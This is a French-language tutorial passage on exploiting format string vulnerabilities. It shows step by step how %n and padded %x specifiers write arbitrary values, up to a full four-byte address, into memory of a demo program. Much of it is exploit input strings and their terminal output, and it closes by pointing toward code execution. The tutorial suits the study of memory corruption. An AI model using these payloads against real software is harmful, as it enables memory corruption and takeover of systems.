Chaine de format - écriture en mémoire    Enregistrer au format PDF

Nous avons réglé le problème de la lecture à n’importe quelle adresse mémoire. Maintenant, penchons-nous sur le problème de l’écriture qui paraît plus intéressant. A priori, si on peut récupérer une adresse arbitraire et la lire, on peut remplacer son contenu en utilisant %n au lieu de %s, non ? Ainsi, nous allons essayer de changer le contenu cette fois de la variable entière i.


par S3cur3D

Nous avons réglé le problème de la lecture à n’importe quelle adresse mémoire. Maintenant, penchons-nous sur le problème de l’écriture qui paraît plus intéressant. A priori, si on peut récupérer une adresse arbitraire et la lire, on peut remplacer son contenu en utilisant %n au lieu de %s, non ? Ainsi, nous allons essayer de changer le contenu cette fois de la variable entière i. Pour vérifier le résultat de notre manipulation, on rajoute avant l’annonce de fermeture du programme la ligne

  1.     printf("\ni = %d = %x",i,i);

Puis, on effectue notre petit test en opérant de la même façon que pour la lecture en mémoire, en utilisant %n :

   $ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%x%n | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%x%n

   ou comme ça : Œ˜bfc9d404-12-804988c-bfc9d4d0-bfc9d4cc-b7f9bff4-b7f9c820-bfc9d4d8
   i = 68 = 44

   Fin du programme

   $

Effectivement, i n’est plu égal à 1337, mais à 68. Maintenant, on se demande comment maîtriser ce par quoi est écrasé cet entier. C’est relativement simple car on peut spécifier le nombre de décimales présentes à l’impression, c’est à dire que si on avait effectué printf("%08x",i) ;, la sortie aurait été 00000539, ajoutant le nombre de 0 nécessaires pour présenter 8 décimales (quand le nombre n’est pas standard comme 8, des espaces sont ajoutés).
On a vu que dans notre cas, 68 bytes sont écrites jusqu’au %n. Ajoutons donc 32 bytes pour faire 100 (comme l’adresse du 8eme paramètre contenait 8 bytes, %x == %08x, donc on demande un format de 32 + 8 = 40 bytes pour l’un des caractères).

   $ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%40x%n | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%40x%n

   ou comme ça : Œ˜bf9a1104-12-804988c-bf9a11d0-bf9a11cc-b7f77ff4-b7f78820-           bf9a11d8
   i = 100 = 64

   Fin du programme

   $

Parfait. Mais vous allez me dire "ok, c’est faisable pour un petit nombre, mais si on veut réécrire une adresse mémoire, ce qui paraît plus intéressant ?". Bien sûr, il existe un autre moyen. Nous allons essayer de changer la valeur hexadécimale de i à 0xfedcba98 (comme nous le ferions pour une adresse mémoire). En fait, cela se fait en écrivant tour à tour les 4 bytes de l’adresse, à savoir 98, puis ba, puis dc et enfin fe (nous travaillons toujours en little endian).
Ecrire 98 parait facile en utilisant le procédé précédent (0x98 = 9*16 + 8 = 152) :

   $ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%92x%n | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%92x%n

   ou comme ça : Œ˜bfc943f4-12-804988c-bfc944c0-bfc944bc-b7f4eff4-b7f4f820-                      bfc944c8
   i = 152 = 98

   Fin du programme

   $

Ok pour ce premier byte, facile. Tout d’abord, il faut remarquer que nous avons besoin d’un autre argument, pour ajouter entre les %n un %x et ainsi augmenter le nombre de bytes écrites à notre guise. Peu importe l’argument, du moment qu’il bouche un trou de 4 bytes. Le mot HACK paraît bien adapté pour ce job.
Par conséquent, notre chaîne formatée doit commencer par \x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08, en prévision des 3 autres écrits à faire. Seulement, il faut réajuster le nombre de bytes écrites pour le premier mot. On a ajouté 6*4=24 bytes, on ne demandera par conséquent plus que 68 bytes pour le premier argument. Pour le deuxième, on veut écrire ba = 186, on demande donc 186-152 = 34 bytes supplémentaires.

   $ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
   %x-%x-%x-%x-%68x%n%34x%n | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, Œ˜HACK ˜HACKŽ˜HACK ˜%x-%x-%x-%x-%x-%x-%x-%68x%n%34x%n

   ou comme ça : Œ˜HACK ˜HACKŽ˜HACK ˜bfbeeb54-12-804988c-bfbeec20-bfbeec1c-b7ff2ff4-b7ff3820-                             bfbeec28           4b434148

   i = 47768 = ba98

   Fin du programme

   $

Tout a l’air de fonctionner à merveille. On réitère donc le même procédé pour écrire dc (=220) et fe (=254) qui occasionent également deux écarts de 34 bytes :

   $ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
   %x-%x-%x-%x-%68x%n%34x%n%34x%n%34x%n | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, Œ˜HACK ˜HACKŽ˜HACK ˜%x-%x-%x-%x-%x-%x-%x-%68x%n%34x%n%34x%n%34x%n

   ou comme ça : Œ˜HACK ˜HACKŽ˜HACK ˜bfc60bc4-12-804988c-bfc60c90-bfc60c8c-b7fd1ff4-b7fd2820-                             bfc60c98            4b434148           4b434148           4b434148

   i = -19088744 = fedcba98

   Fin du programme

   $

Parfait, i représente désormais l’adresse que l’on cherchait à lui attribuer. Certes, cette adresse était arrangée afin de faciliter la compréhension de l’exploitation, puisque chaque byte successif était plus grand que le précédent, ce qui tombait bien, puisque a priori, le nombre écrit augmente à chaque %n. Mais vous vous en doutez, il existe une technique pour écrire une adresse aléatoire : en fait, pour écrire par exemple la suite 0x12345678, on écrit d’abord 0x78 (=120), puis 0x156 (=342), puis 0x234 (=564) et enfin 0x312 (=786), soit un écart égal de 222 bytes entre les trois derniers paramètres formatés. La suite en images :

   $ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
   %x-%x-%x-%x-%36x%n%222x%n%222x%n%222x%n | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, Œ˜HACK ˜HACKŽ˜HACK ˜%x-%x-%x-%x-%x-%x-%x-%36x%n%222x%n%222x%n%222x%n

   ou comme ça : Œ˜HACK ˜HACKŽ˜HACK ˜bfd30c94-12-804988c-bfd30d60-bfd30d5c-b7f9fff4-b7fa0820-                    bfd30d68                                                                                                                         4b434148                                                                                                                         4b434148                                                                                                                         4b434148
   i = 305419896 = 12345678

   Fin du programme

   $

Et voilà, on peut donc désormais écrire n’importe quoi, n’importe où en mémoire. Lecture, écriture... Il devrait être possible de se servir de cette faille pour éxécuter.. un bytecode par exemple ? Oui bien sûr. Mais avant, nous allons étudier un moyen de simplifier cette écriture un peu longue que nous venons de voir.

Documentations publiées dans cette rubrique